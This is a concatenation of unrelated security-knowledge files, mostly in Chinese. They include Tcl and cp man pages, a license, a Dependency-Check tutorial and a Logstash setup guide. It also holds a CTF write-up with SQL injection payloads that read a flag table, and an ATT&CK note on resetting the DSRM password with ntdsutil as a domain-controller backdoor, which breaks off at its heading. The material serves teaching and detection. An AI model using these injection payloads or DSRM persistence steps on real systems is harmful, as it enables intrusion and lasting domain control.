\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH info 3tcl 7.5 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME info \- 返回关于 Tcl 解释器状态的信息 .SH "总览 SYNOPSIS" \fBinfo \fIoption \fR?\fIarg arg ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令提供关于 Tcl 解释器的各种内部信息。合法的\fIoption\fR (可以是缩写)有: .TP \fBinfo args \fIprocname\fR 返回一个列表,依次包含给过程\fIprocname \fR的参数们的名字。\fIProcname\fR 必须是一个 Tcl 命令的名字。 .TP \fBinfo body \fIprocname\fR 返回过程 \fIprocname\fR 的过程体。\fIProcname\fR 必须是一个Tcl 命令的名字。 .TP \fBinfo cmdcount\fR 返回在这个解释器中已经被调用的命令的总数的统计。 .TP \fBinfo commands \fR?\fIpattern\fR? 如果未指定 \fIpattern\fR ,返回在当前名字空间中所有 Tcl 命令的名字的一个列表,包括用 C 写成的内置命令和使用 \fBproc\fR命令定义的命令过程。如果指定了 \fIpattern\fR,只返回匹配 \fIpattern\fR 的那些名字。使用与 \fBstring match\fR相同的规则确定匹配。\fIpattern\fR 可以是象 \fBFoo::print*\fR\fB \fR这样的一个限定的(qualified)名字。这样,可以使用由 \fB::\fR\fB\fR分隔的名字空间的名字序列来指定一个特定的名字空间,并可以用匹配后面特定字符的模式来指定在这个名字空间中的一系列命令。如果是 \fIpattern\fR是一个限定的名字,命令名字的结果列表中的每个元素都被指定名字空间的名字所限定。 .TP \fBinfo complete \fIcommand\fR 如果 \fIcommand\fR 是一个完整的 Tcl 命令则返回 1,完整的意思是没有不闭合的引号、花括号、方括号或数组元素名,如果命令表现为不完整则返回 0。典型的,这个命令在面向行的输入环境中被用来允许用户键入分开(span)成多行的命令;如果命令不完整,脚本可以延期求值,直到键入增补的行完成这个命令。 .TP \fBinfo default \fIprocname arg varname\fR \fIProcname\fR 必须是一个 Tcl 命令过程的名字而 \fIarg\fR 必须是给这个过程的一个参数的名字。如果 \fIarg\fR 没有缺省值则命令返回 \fB0\fR。否则它返回 \fB1\fR 并把这个缺省值放置到变量 \fIvarname\fR 中。 .TP \fBinfo exists \fIvarName\fR 如果在当前上下文中存在叫 \fIvarName\fR 的变量(可以是一个全局变量或局部变量),并已经通过给它一个值而被定义则返回 \fB1\fR,否则返回 \fB0\fR .TP \fBinfo globals \fR?\fIpattern\fR? 如果未指定 \fIpattern\fR ,返回所有当前定义的全局变量的名字的一个列表。全局变量是在全局名字空间中的变量。如果指定了 \fIpattern\fR ,只返回匹配 \fIpattern\fR 的那些名字。使用与 \fBstring match \fR相同的规则确定匹配。 .TP \fBinfo hostname\fR 返回在其上执行这个调用的那个计算机的名字。 .TP \fBinfo level\fR ?\fInumber\fR? 如果未指定 \fInumber\fR,这个命令返回给出调用过程的栈层次的一个数,如果在顶层调用这个名字则返回 0。如果指定了 \fInumber\fR ,则结果是由在栈上 \fInumber\fR 层调用的过程的名字和值组成的一个列表。如果 \fInumber\fR 是正数则选择的是一个特定的栈层次(1 参照最顶层活跃过程,2 是它调用的过程,以此类推);否则给出的是相对当前层次的一个相对层次(0 参照当前过程,-1 是它的调用者,以此类推)。关于栈层次的详细信息参见 \fBuplevel\fR 命令。 .TP \fBinfo library\fR 返回在其中存储标准 Tcl 脚本的库目录的名字。这实际上是 \fBtcl_library\fR 变量的值并可通过设置 \fBtcl_library \fR来变更。详情参见 \fBtclvars\fR 手册条目。 .TP \fBinfo loaded \fR?\fIinterp\fR? 返回描述用 \fBload\fR 命令装载到 \fIinterp\fR 中的所有包的一个列表。每个列表元素都是有两元素的一个子列表,它们是从其中装载包的文件的名字和包的名字。对于静态装载包这个文件名字是一个空串。如果省略了 \fIinterp\fR 则返回在进程中所有的解释器中装载的包的信息。要得到当前解释器中的包的一个列表,指定 \fIinterp\fR参数为一个空串。 .TP \fBinfo locals \fR?\fIpattern\fR? 如果未指定 \fIpattern\fR,返回所有当前定义的局部变量名字的一个列表,包括给当前过程的参数。 用 \fBglobal\fR 和 \fBupvar\fR命令定义的参数将不返回。如果指定了 \fIpattern\fR ,只返回匹配 \fIpattern\fR 的那些名字。使用与 \fBstring match \fR相同的规则确定匹配。 .TP \fBinfo nameofexecutable\fR 返回完整的二进制文件的路径名,从这个文件中调用了应用(程序)。如果Tcl 不能标识这个文件,则返回一个空串。 .TP \fBinfo patchlevel\fR 返回全局变量 \fBtcl_patchLevel\fR\fB \fR的值;详情参见 \fBtclvars\fR 手册条目。 .TP \fBinfo procs \fR?\fIpattern\fR? 如果未指定 \fIpattern\fR ,返回在当前的名字空间中的所有 Tcl 命令过程的名字的一个列表。如果指定了 \fIpattern\fR,在返回在当前名字空间中匹配 \fIpattern\fR 的过程名字。使用与 \fBstring match \fR相同的规则确定匹配。 .TP \fBinfo script\fR 如果当前正在求值一个 Tcl 脚本文件(例如,有一个 \fBTcl_EvalFile\fR 调用处于活跃或有一个对 \fBsource\fR 命令的活跃调用),则这个命令返回被处理的最内部(innermost)文件的名字。否则这个命令返回一个空串。 .TP \fBinfo sharedlibextension\fR 返回在这个平台上包含共享库的文件使用的扩展名(例如,在Solaris 下是 \fB.so\fR)。如果在这个平台上不支持共享库则返回一个空串。 .TP \fBinfo tclversion\fR 返回全局变量 \fBtcl_version \fR的值;详情参见 \fBtclvars\fR手册条目。 .TP \fBinfo vars\fR ?\fIpattern\fR? 如果未指定 \fIpattern\fR,则返回所有当前可见的变量的名字的一个列表。包括局部变量和当前可见的全局变量。如果指定了 \fIpattern\fR,只返回匹配 \fIpattern\fR 的那些名字。使用与 \fBstring match \fR相同的规则确定匹配。\fIpattern\fR 可以是象 \fBFoo::print* \fR这样的一个限定的(qualified)名字。这样,可以使用由 \fB:: \fR分隔的名字空间的名字序列来指定一个特定的名字空间,并可以用匹配后面特定字符的模式来指定在这个名字空间中的一系列命令。如果是 \fIpattern\fR是一个限定的名字,命令名字的结果列表中的每个元素都被指定名字空间的名字所限定。 .SH "关键字 KEYWORDS" command, information, interpreter, level, namespace, procedure, variable .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/28 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
MIT License Copyright (c) 2017 trimstray Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
sec-knowleage
# MortAl mage aGEnts (web, 19 solves, 315 pts) > I want to make a crypto currency. For now, I made the secure wallet service. > I give you the source code of its service. Can you hack this service? ☆(ゝω・)v > ※The database is initialized every hour. The app's source tell us that the first flag is located in the database and we probably have to usq SQL-injection to get it: ```sql CREATE TABLE flag1 ( flag1 VARCHAR(255) NOT NULL ); INSERT INTO flag1 (flag1) VALUES ('***CENSORED***'); -- Can't guess ``` The app is full of seemingly safe prepared statements: ```sql $transactor = $app->db->fetch( 'SELECT * FROM transactor WHERE code = :code', [':code' => $code] ); ``` But the implementation is buggy: ```php public function query($sql, $param = array()) { $search = []; $replace = []; foreach ($param as $key => $value) { $search[] = $key; $replace[] = sprintf("'%s'", mysqli_real_escape_string($this->link, $value)); } $sql = str_replace($search, $replace, $sql); ... ``` Precisely, if we have 2 different paremetrs and we set the first one's value to the name of the second one, things will **break** More precisely, `str_rplace` will replace the first parameter name twice, both times adding `''` around it. This is the part we'll be exploiting: ```php $notes = sprintf('%s remitted', $_SESSION['user_id']); ... $app->db->query( "INSERT INTO account (user_id, debit, credit, notes) VALUES (:user_id, 0, ${amount}, :notes)", [':user_id' => $dstUsers['user_id'], ':notes' => $notes] ); ``` This is a good query because we can pretty easily control both arguments that get passed to the insert. If we now set our user id to `ABC:notesDEF`, the final query will look like: ```sql INSERT INTO account (user_id, debit, credit, notes) VALUES ('ABC'ABC:notesDEF remitted'DEF', 0, ${amount}, 'ABC:notesDEF remitted') ``` So it's pretty clear we have a injection in the `ABC` part, we'll use it to get the flag: We're gonna need 2 accounts: first: `,1000000,100000000,(select(flag1)from(flag1)));#:notes` second: `,1000000,100000000,(select(flag1)from(flag1)));#` First one will trigger the sqli and create an account for the second user that contains the flag. We'll use the second user just to read the flag which will show up in our dashboard.
sec-knowleage
# Dependency Check > https://github.com/jeremylong/DependencyCheck ## 简介 Dependency-Check 是一个开源的安全漏洞扫描工具,用于检查应用程序和依赖项中的已知漏洞。它可以扫描各种编程语言的依赖项,如Java、Python、.NET等,并根据公开的漏洞数据库,如NVD、OSV等,检查依赖项的版本是否存在已知的安全漏洞。 Dependency-Check 可以通过命令行或插件集成到各种构建工具中,如Maven、Gradle、Ant等。它会生成报告,显示已检测到的漏洞以及建议的修复措施。这些报告可以帮助开发人员识别和解决与应用程序或依赖项相关的安全问题,从而提高应用程序的安全性。 ## cli `dependency-check.sh`支持的参数: - --advancedHelp:打印高级帮助信息。 - --enableExperimental:启用实验性的分析器。 - --exclude <pattern>:指定一个排除模式。可以多次指定此选项,并接受 Ant 风格的排除。 - -f,--format <format>:指定报告格式(HTML、XML、CSV、JSON、JUNIT、SARIF、JENKINS 或 ALL)。默认为 HTML。可以指定多个格式参数。 - --failOnCVSS <score>:指定如果检测到 CVSS 分数高于指定级别的漏洞,构建是否应该失败。默认为 11;由于 CVSS 分数为 0-10,因此默认情况下构建永远不会失败。 - -h,--help:打印帮助信息。 - --junitFailOnCVSS <score>:指定在生成 junit 报告时,被认为是失败的 CVSS 分数。默认值为 0。 - -l,--log <file>:写入详细日志信息的文件路径。 - -n,--noupdate:禁用自动更新 NVD-CVE、hosted-suppressions 和 RetireJS 数据。 - -o,--out <path>:写入报告的文件夹路径。默认为当前目录。如果未将格式参数设置为 ALL,则可以将其设置为特定的文件名。 - --prettyPrint:指定 JSON 和 XML 报告格式将被漂亮地打印。 - --project <name>:正在扫描的项目的名称。 - -s,--scan <path>:要扫描的路径 - 可以多次指定此选项。支持 Ant 风格的路径(例如,'path/**/*.jar');如果使用 Ant 风格的路径,则强烈建议将参数值用引号引起来。 - --suppression <file>:抑制 XML 文件的文件路径。可以多次指定此选项以使用多个抑制文件。 - -v,--version:打印版本信息。 对webgoat7的组件进行扫描 > https://github.com/mpogr/WebGoat-7.0.1 ```sh ./dependency-check.sh -s /tmp/WebGoat-7.0.1/ --project webgoat ``` 输出扫描报告,没有扫描到有用的东西。 ![image-20230314180552977](../../.gitbook/assets/image-20230314180552977.png) ## jenkins docker启动Jenkins ``` docker run -itd -p 8080:8080 -p 50000:50000 -u root -v /tmp/jenkins:/var/jenkins_home -v /tmp/maven:/usr/local/maven jenkins/jenkins:2.344 ``` 安装插件 ![image-20230315162320238](../../.gitbook/assets/image-20230315162320238.png) #### 全局工具配置 Jenkins可以通过全局工具配置来安装一个或多个Dependency-Check版本。可以自动安装Dependency-Check,这将从Github下载并提取官方的命令行界面(CLI),或者可以手动安装官方版本,并在配置中引用安装路径。Dependency-Check是一个用于识别应用程序中存在的已知漏洞和依赖项的开源工具。 ![image-20230315112444198](../../.gitbook/assets/image-20230315112444198.png) #### Builder Builder是指使用预定义的Dependency-Check CLI安装之一执行分析的组件。在Jenkins中,特定于配置的部分很少,工作配置中的重要方面是“Arguments”字段,该字段直接发送到定义的CLI安装程序。Builder用于在Jenkins工作流中集成Dependency-Check分析。Builder的配置将传递给Dependency-Check CLI进行分析,并将分析结果传递回Jenkins用于显示和后续处理。 > 对webgoat进行maven编译,生成JAR包 ![image-20230315120647154](../../.gitbook/assets/image-20230315120647154.png) #### Publisher Publisher是一个独立于工具配置或Builder的组件,负责读取dependency-check-report.xml并生成指标、趋势、发现,并根据可配置的阈值选择性地将构建设为失败或警告状态。在Jenkins工作流程中,Publisher用于生成Dependency-Check的度量和报告,并可根据预定义的阈值将构建标记为失败或警告状态。通过读取dependency-check-report.xml文件,Publisher可以对构建进行分析并提供有关依赖项和已知漏洞的详细信息。 ![image-20230315112738751](../../.gitbook/assets/image-20230315112738751.png) #### 结果 构建结果 ![image-20230315113401907](../../.gitbook/assets/image-20230315113401907.png) 当任务配置了Publisher时,趋势图将显示按严重性分组的结果总数。 ![image-20230315121241289](../../.gitbook/assets/image-20230315121241289.png) 点击Latest Dependency-Check,可以看到具体的组件报告 ![image-20230315121338303](../../.gitbook/assets/image-20230315121338303.png) ![image-20230315121322592](../../.gitbook/assets/image-20230315121322592.png) ## maven ### mvn 这是 Maven 插件 Dependency-Check 的命令,用于检测应用程序依赖项中已知漏洞并生成报告。 ``` mvn org.owasp:dependency-check-maven:check ``` > ``` > mvn org.owasp:dependency-check-maven:aggregate > ``` > > 命令执行是全面的漏洞扫描,并生成包含所有依赖项中已知漏洞信息的报告 ![image-20230314180501004](../../.gitbook/assets/image-20230314180501004.png) 使用maven进行扫描webgoat7可以看到报告里面有JAR包组件漏洞,**比直接CLI扫描更能发现问题。** ![image-20230314180529023](../../.gitbook/assets/image-20230314180529023.png) ### pom.xml #### ①检测组件 在目标目录中创建 `dependency-check-report.html` ```xml <project> ... <build> ... <plugins> ... <plugin> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>8.1.2</version> <executions> <execution> <goals> <goal>check</goal> </goals> </execution> </executions> </plugin> ... </plugins> ... </build> ... </project> ``` 在IDEA进行`maven verify`,生成报告 ![image-20230315100027798](../../.gitbook/assets/image-20230315100027798.png) #### ②检测所有依赖项 在站点内创建汇总的依赖性检查报告 ```xml <project> ... <reporting> ... <plugins> ... <plugin> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>8.1.2</version> <reportSets> <reportSet> <reports> <report>aggregate</report> </reports> </reportSet> </reportSets> </plugin> ... </plugins> ... </reporting> ... </project> ``` #### ③CVSS评分过滤 创建 `dependency-check-report.html` 并使 CVSS 大于或等于 8 的构建失败 ```xml <project> ... <build> ... <plugins> ... <plugin> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>8.1.2</version> <configuration> <failBuildOnCVSS>8</failBuildOnCVSS> </configuration> <executions> <execution> <goals> <goal>check</goal> </goals> </execution> </executions> </plugin> ... </plugins> ... </build> ... </project> ``` 效果如下 ![image-20230315100417690](../../.gitbook/assets/image-20230315100417690.png) #### ④跳过没有使用到组件 通常情况下,使用 `mvn org.owasp:dependency-check-maven:aggregate`命令来运行 OWASP 的 "dependency-check-maven" 插件,以检查项目依赖项中是否存在已知的安全漏洞,并生成报告。 但是,有时候我们不想包含某些依赖项,比如 provided 范围的依赖,这些依赖项不会被打包到分发包中,因此不需要进行漏洞检查。在这种情况下,可以使用上述命令来创建报告并跳过这些依赖项,以提高效率和减少报告中的噪音。 ```xml <project> ... <build> ... <plugins> ... <plugin> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>8.1.2</version> <configuration> <skipProvidedScope>true</skipProvidedScope> </configuration> <executions> <execution> <goals> <goal>check</goal> </goals> </execution> </executions> </plugin> ... </plugins> ... </build> ... </project> ``` #### ⑤使用内部CVE源 创建 `dependency-check-report.html`报告文件,并使用内部 CVE 内容的镜像。这意味着,`dependency-check-maven`插件将使用本地存储的 CVE 内容,而不是从网络上获取。这通常可以提高扫描的速度,并且可以在没有网络连接的情况下进行扫描。 ```xml <project> ... <build> ... <plugins> ... <plugin> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>8.1.2</version> <configuration> <cveUrlModified>http://internal-mirror.mycorp.com/nvdcve-1.1-modified.json.gz</cveUrlModified> <cveUrlBase>http://internal-mirror.mycorp.com/nvdcve-1.1-%d.json.gz</cveUrlBase> </configuration> <executions> <execution> <goals> <goal>check</goal> </goals> </execution> </executions> </plugin> ... </plugins> ... </build> ... </project> ``` #### ⑥仅更新仓库 从 NIST 更新 NVD 数据的本地缓存,而不分析依赖关系。 ```xml <project> ... <build> ... <plugins> ... <plugin> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>8.1.2</version> <executions> <execution> <goals> <goal>update-only</goal> </goals> </execution> </executions> </plugin> ... </plugins> ... </build> ... </project> ``` #### ⑦抑制误报 使用多个抑制文件(例如公司范围的抑制文件和本地项目文件)抑制误报。 ```xml <project> ... <build> ... <plugins> ... <plugin> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>8.1.2</version> <configuration> <suppressionFiles> <suppressionFile>http://example.org/suppression.xml</suppressionFile> <suppressionFile>project-suppression.xml</suppressionFile> </suppressionFiles> </configuration> <executions> <execution> <goals> <goal>check</goal> </goals> </execution> </executions> </plugin> ... </plugins> ... </build> ... </project> ```
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH CP 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 cp \- 复制文件和目录 .SH 概述 \fBcp\fP [\fI\,选项\/\fP]... [\fI\,\-T\/\fP] \fI\,来源 目标\/\fP .br \fBcp\fP [\fI\,选项\/\fP]... \fI\,来源\/\fP... \fI\,目录\/\fP .br \fBcp\fP [\fI\,选项\/\fP]... \fI\,\-t 目录 来源\/\fP... .SH 描述 .\" Add any additional description here .PP 从指定的来源文件复制到目标处,或者将多个源文件复制到目标目录中。 .PP 必选参数对长短选项同时适用。 .TP \fB\-a\fP, \fB\-\-archive\fP 与 \fB\-dR\fP \fB\-\-preserve\fP=\fI\,all\/\fP 相同。 .TP \fB\-\-attributes\-only\fP 不要复制文件数据,仅仅复制其属性值。 .TP \fB\-\-backup\fP[=\fI\,控制参数\/\fP] 为每个已存在的目标文件创建一个备份 .TP \fB\-b\fP 类似 \fB\-\-backup\fP,但是不接受参数 .TP \fB\-\-copy\-contents\fP 递归模式下复制特殊文件的内容 .TP \fB\-d\fP 与 \fB\-\-no\-dereference\fP \fB\-\-preserve\fP=\fI\,links\/\fP 相同 .TP \fB\-f\fP, \fB\-\-force\fP 如果有一个已存在且无法打开的目标文件,删除之并进行重试(该选项在 \fB\-n\fP 选项同时被使用时无效) .TP \fBi\fP, \fB\-\-interactive\fP 覆写前进行提示(覆盖先前的 \fB\-n\fP 选项) .TP \fB\-H\fP 跟随源文件命令行中显式给出的符号链接 .TP \fB\-l\fP, \fB\-\-link\fP 使用硬链接取代复制 .TP \fB\-L\fP, \fB\-\-dereference\fP 总是跟随源文件中的符号链接 .TP \fB\-n\fP, \fB\-\-no\-clobber\fP 不要覆写已有的文件(覆盖先前给出的 \fB\-i\fP 选项) .TP \fB\-P\fP, \fB\-\-no\-dereference\fP 永远不要跟随源文件中的符号链接 .TP \fB\-p\fP 与 \fB\-\-preserve\fP=\fI\,mode\/\fP,ownership,timestamps 相同 .TP \fB\-\-preserve\fP[=\fI\,属性列表\/\fP] 保留指定的属性(默认:模式、从属关系、时间戳),如果可能的话还有额外属性:上下文、链接(links)、xattr、all .TP \fB\-\-no\-preserve\fP=\fI\,属性列表\/\fP 不要保留指定的属性 .TP \fB\-\-parents\fP 在目标目录下使用完整的源文件名 .TP \fB\-R\fP, \fB\-r\fP, \fB\-\-recursive\fP 递归地复制文件 .TP \fB\-\-reflink\fP[=\fI\,WHEN\/\fP] 控制克隆/写入时复制(CoW)副本。详情见下文 .TP \fB\-\-remove\-destination\fP 在尝试打开每个已存在的目标文件之前对其进行删除(和 \fB\-\-force\fP 行为相反) .TP \fB\-\-sparse\fP=\fI\,WHEN\/\fP 控制稀疏文件的创建。详情见下文 .TP \fB\-\-strip\-trailing\-slashes\fP 移除每个源文件参数后的任何末尾斜杠 .TP \fB\-s\fP, \fB\-\-symbolic\-link\fP 使用符号链接代替复制 .TP \fB\-S\fP, \fB\-\-suffix\fP=\fI\,后缀名\/\fP 使用给定名称代替常用备份后缀名 .TP \fB\-t\fP, \fB\-\-target\-directory\fP=\fI\,目录\/\fP 将所有源文件参数给出的内容复制到目标目录中 .TP \fB\-T\fP, \fB\-\-no\-target\-directory\fP 将目标文件当作普通文件对待(而不是目录) .TP \fB\-u\fP, \fB\-\-update\fP 仅在源文件比目标文件新,或者目标文件不存在的情况下复制 .TP \fB\-v\fP, \fB\-\-verbose\fP 解释正在发生的情况 .TP \fB\-x\fP, \fB\-\-one\-file\-system\fP 停留在当前文件系统中 .TP \fB\-Z\fP 将目标文件 SELinux 安全上下文设置为默认类型 .TP \fB\-\-context\fP[=\fI\,CTX\/\fP] 类似 \fB\-Z\fP,或者如果给定了上下文(CTX)那么将 SELinux 或者 SMACK 安全上下文设置为给定值 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 默认情况下,程序会使用一种粗糙的启发式算法探测源文件是否是稀疏的,若判定为稀疏,则目标文件也会以稀疏形式创建。这个行为可以通过 \fB\-\-sparse\fP=\fI\,auto\/\fP 指定。若指定 \fB\-\-sparse\fP=\fI\,always\/\fP,将在源文件包含足够多内容为零的字节序列时将其视作稀疏文件。使用 \fB\-\-sparse\fP=\fI\,never\/\fP 以禁止创建稀疏文件。 .PP 当指定了 \fB\-\-reflink\fP[=\fI\,always\/\fP] 时,进行轻量级复制,其中的数据块仅在被修改时进行复制。如果这样的复制失败,或无法实行,或者指定了 \fB\-\-reflink\fP=\fI\,auto\/\fP 时,程序将会回退到标准复制操作。使用 \fB\-\-reflink\fP=\fI\,never\/\fP 可以确保永远进行标准复制。 .PP 备份的后缀为“~”,除非设置了 \fB\-\-suffix\fP 或者 SIMPLE_BACKUP_SUFFIX。版本控制方式可以使用 \fB\-\-backup\fP 选项或者 VERSION_CONTROL 环境变量进行指定。可用的值如下: .TP none, off 永远不制作备份(即使给出了 \fB\-\-backup\fP ) .TP numbered, t 制作编号的备份 .TP existing, nil 如果已编号副本存在则编号,否则采用简单方式 .TP simple, never 总是制作简单备份 .PP 作为一个特例,cp 将在同时给出 force 选项与 backup 选项,并且源文件和目标文件是同一个已存在普通文件的情况下制作备份副本。 .SH 作者 由 Torbjorn Granlund、David MacKenzie 和 Jim Meyering 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/cp> .br 或者在本地使用: info \(aq(coreutils) cp invocation\(aq
sec-knowleage
# Logstash Patterns [官方文档](https://www.elastic.co/guide/en/logstash/current/plugins-filters-grok.html) ## Centos7安装GrokDebug [github地址](https://github.com/nickethier/grokdebug) ``` # 安装依赖 yum install openssl-devel.x86_64 gcc.x86_64 -y # 下载ruby wget https://ruby.taobao.org/mirrors/ruby/2.1/ruby-2.1.7.tar.gz # 安装ruby tar -zxvf ruby-2.1.7.tar.gz && cd ruby-2.1.7/ ./configure --prefix=/usr/local/ruby2.1.7 make && make install # 配置环境变量 echo 'export PATH=/usr/local/ruby2.1.7/bin:$PATH'>>/etc/profile source /etc/profile # 安装rubygem wget http://rubygems.global.ssl.fastly.net/rubygems/rubygems-2.6.2.tgz tar -zxvf rubygems-2.6.2.tgz && cd rubygems-2.6.2/ ruby setup.rb # 替换gem源 gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/ gem sources -l # 创建安装目录与下载grokdebug mkdir /usr/local/grokdebug && cd /usr/local/grokdebug git clone https://github.com/nickethier/grokdebug.git mv grokdebug/* . rm -rf grokdebug/ # 查看缺少的组件 ruby config.ru # 安装组件 gem install bundler gem install cabin -v=0.5.0 gem install haml -v=3.1.7 gem install jls-grok -v=0.10.10 gem install json -v=1.7.5 gem install kgio -v=2.8.0 gem install rack -v=1.4.1 gem install rack-protection -v=1.2.0 gem install raindrops -v=0.11.0 gem install shotgun -v=0.9 gem install tilt -v=1.3.3 gem install sinatra -v=1.3.3 gem install unicorn -v=4.6.3 ``` 启动grokdebug ``` nohup bundle exec unicorn -p 8081 -c ./unicorn & ```
sec-knowleage
# Car Crash, RE, 500pts > This ECU firmware dump, or what's left of it, was taken out of a crashed prototype car. We have to extract the logs from it to investigate the crash. Bad luck, we get some strange garbage printed instead. > Attached is a program you can reverse-engineer and a program you can test. Don't mix them up. Long story short, it turned out to be broken implementation of https://en.wikipedia.org/wiki/Kuznyechik. The only changes were that the S-box was modified, and the reverse S-box was corrupted. After calculating the reverse S-box from forward one, we were able to calculate the flag.
sec-knowleage
local === 在函数内定义局部变量。 ## 概要 ```shell local [-aAfFgilnrtux] [-p] [name[=value] ...] ``` ## 主要用途 - 在函数内定义局部变量 - 显示局部变量 - 在函数内定义全局变量 ## 选项 ```shell local命令的选项与declare命令的相同,请参考declare命令的选项。 ``` ## 参数 name(可选):变量名或已定义函数名。 value(可选):变量的值。 ## 返回值 `local`返回true除非你提供了非法选项、赋值错误或是在函数外使用`local`命令。 ## 例子 ```shell 相关例子请参考declare命令 ``` ## 错误用法 - 在函数外使用该命令。 ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令以及`man bash`、`info bash`的相应部分。
sec-knowleage
# T1078-001-win-DSRM密码重置 ## 来自ATT&CK的描述 攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据,或者在早起的侦察过程通过社会工程捕获凭据以获得首次访问权限。 攻击者可以使用三种账号:默认账号、本地账号和域账号。默认账号是操作系统的内置账号,例如Windows系统上的访客或管理员账号,或者其他类型系统、软件或设备上的默认提供商账号。本地账号是组织配置给用户、远程支持或服务的账号,或单个系统/服务的管理账号。域账号是AD-DS(活动目录域服务)管理的账号,其访问和权限在域内不同系统和服务之间配置。域账号可以涵盖用户、管理员和服务。 ## 测试案例 目录还原模式账户 每一个域控制器都有一个本地管理员账户其实也就是所谓的目录服务还原模式(DSRM)账户。DSRM的密码是在DC安装的时候就需要设置,并且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。 在安装了KB961320补丁的Windows Server 2008以及之后发布的Windows Server中,开始支持在DC上使用指定的域帐户同步DSRM密码。但是这个同步操作是一次性的,也就是说你必须在每次更改了DSRM密码后进行一次密码同步。 如果一个攻击者可以得到运行在Windows Server 2008 R2或 Windows Server 2012 R2(DsrmAdminLogonBehavior的值为2)的域控的DSRM账户密码或者HASH值,那么DSRM账户就可以被用于“HASH传递攻击”方式。这就使得攻击者可以保持域控制器的管理员权限,即使所有的域用户和计算机密码被修改了。 ## 检测日志 windows安全日志 ## 测试复现 ### 0x00 更改DSRM账号密码 执行以下命令(DC上) ```dos NTDSUTIL set dsrm password reset password on server null <PASSWORD> Q Q ``` 实际测试结果: ```dos C:\Users\Administrator>ntdsutil ntdsutil: set dsrm password 重置 DSRM 管理员密码: reset password on server null 请键入 DS 还原模式 Administrator 帐户的密码: ********* 请确认新密码: ********* 密码设置成功。 重置 DSRM 管理员密码: Q ntdsutil: Q ``` ### 0x01 使用域帐户同步DSRM账户密码 使用域管理员帐户登录DC后,启动一个“取得管理员权限”的CMD,运行如下命令行: ```dos NTDSUTIL SET DSRM PASSWORD SYNC FROM DOMAIN ACCOUNT <your user here> Q Q ``` ### 0x02 使用DSRM作为活动目录的后门 